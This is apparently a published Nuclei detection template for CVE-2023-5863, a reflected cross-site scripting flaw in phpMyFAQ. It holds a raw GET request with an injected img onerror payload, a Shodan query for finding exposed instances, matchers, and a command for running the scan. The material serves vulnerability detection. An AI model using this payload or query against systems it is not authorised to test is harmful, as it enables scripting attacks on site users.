Skip to content

phpMyFAQ < 3.2.0 - Cross-site Scripting

ID: CVE-2023-5863

Severity: medium

Author: ctflearner

Tags: cve2023,cve,huntr,phpmyfaq,xss

Cross-site Scripting (XSS) Reflected in GitHub repository thorsten/phpmyfaq prior to 3.2.2.

id: CVE-2023-5863
info:
name: phpMyFAQ < 3.2.0 - Cross-site Scripting
author: ctflearner
severity: medium
description: |
Cross-site Scripting (XSS) Reflected in GitHub repository thorsten/phpmyfaq prior to 3.2.2.
reference:
- https://huntr.com/bounties/fbfd4e84-61fb-4063-8f11-15877b8c1f6f
- https://nvd.nist.gov/vuln/detail/CVE-2023-5863
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-5863
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
shodan-query: http.html:"phpmyfaq"
product: phpMyFAQ
tags: cve2023,cve,huntr,phpmyfaq,xss
http:
- raw:
- |
GET /admin/index.php?action=ngductung"><img+src/onerror="alert(document.domain) HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src/onerror="alert(document.domain)">'
- 'phpMyFAQ'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100f0f29c36e931c6a7dda57bf067bfa76103586dbb3aee5c02274aad136e9dec2902202dbc9c1e815c367a24c07060c9f931a72740084c9eb08d6941594de9334ccf5a:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-5863.yaml"

View on Github